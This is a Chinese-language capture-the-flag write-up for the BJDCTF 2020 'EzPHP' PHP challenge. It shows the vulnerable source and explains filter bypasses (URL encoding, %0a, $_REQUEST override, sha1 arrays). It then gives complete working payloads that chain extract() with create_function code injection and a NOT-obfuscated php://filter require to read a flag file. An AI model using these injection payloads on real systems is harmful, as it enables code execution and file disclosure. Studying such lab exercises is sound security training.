[BJDCTF]2020EzPHP

F12

base32解码

1nD3x.php

源码

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

分析

$_SERVER[“QUERY_STRING”]

http://www.xxx.com/index.php?p=222&q=u
$_SERVER["QUERY_STRING"] = “p=222&q=u”
不能有?shana=&passwd=

可以url编码绕过，因为$_SERVER[‘QUERY_STRING’]在读取url时并不会对url进行解码，而$_GET['x']是会进行url解码的，所以我们要把可能出现在黑名单的字符串进行url编码后再传入

preg_match

preg_match(‘/^aqua_is_cute$/‘, $_GET[‘debu’])要求debu的值满足正则/^aqua_is_cute$/，^和$用来表示开头和结尾
$_GET[‘debu’] !== ‘aqua_is_cute’要求debu的值不能强等于’aqua_is_cute’

在末尾加%0a绕过匹配

绕过$_REQUEST的字母匹配

$_REQUEST包括所有以post或者get方式传入的变量，如果含有字母则无法通过，但我们所有的参数构造都离不开字母。
这里的绕过方法主要利用$_REQUEST特性，变量post值会优先于get，我们只要在get传入变量后，再用post方式传入数字值进行覆盖即可

file_get_contents

这个data协议

sha1强比较绕过

数组绕过，或者强碰撞

create_function()注入

<?php
$afunc = create_function('$a, $b','return ($a+$b);');
echo $afunc(1,2);
//输出3
?>
等价于
<?php
function afunc($a,$b)
{
	return $a+$b;
}
echo afunc(1,2);
//输出3
?>
注入方式：
$code参数可控，可能会存在代码注入
<?php
$aFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST['cmd']);//');

function aFunc($a, $b)
{
	return $a+$b;
}
eval($_POST['cmd']);//}
?>
即$code=}function;//
}闭合前面的，然后写语句，最后//来注释掉后面的内容。

怎么实际操作呢（坑）

extract函数是一个关联数组。此函数会将键名当作变量名，值作为变量的值

extract($_GET["flag"]);
那我们构造
flag['code']=&flag['arg']=
即可将code键名作为变量名，然后值作为变量的值。（个人的分析）

arg的选择

由于过滤很严格，黑名单，那么可以试试找替代的函数 get_defined_vars()直接输出所有变量

include "flag.php";，包含了flag.php文件，代表可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值，可以想到：是否存在一个函数，能输出所有变量的值？刚好get_defined_vars()用来输出所有变量和值。

然后得到了假的flag，真正的flag在rea1fl4g.php

再看过滤的

过滤了include 还能用require
过滤了引号，可以使用那些参数可以不加引号的函数，require()代替require " "
过滤了flag，可以base64编码

即利用require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
但filter被过滤了。用~绕过正则
<?php
echo urlencode(~'php://filter/read=convert.base64-encode/resource=rea1fl4g.php');
得到
%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
最终
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

payload

file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%oa&shana[]=1&passwd[]=2
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

注意%0a、[]、&、=不用url编码，

后续的
$code=create_function&arg=}var_dump(get_defined_vars());//
fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//
以下
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute%oa&shana[]=1&passwd[]=2
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//
同时post debu=1&file=1
以下
get:
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e
没urlencode前:
debu=aqua_is_cute%0a&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&flag[code]=create_functio%6e

post:
debu=&file=

tips：

注意%0a、[]、&、=不用url编码，

可以写未url的payload，然后再在burp里面url一下，就会清楚方便一点。

burp发的会没回显，还是得hackbar，因为会url一层吧

https://blog.csdn.net/weixin_51804748/article/details/121330064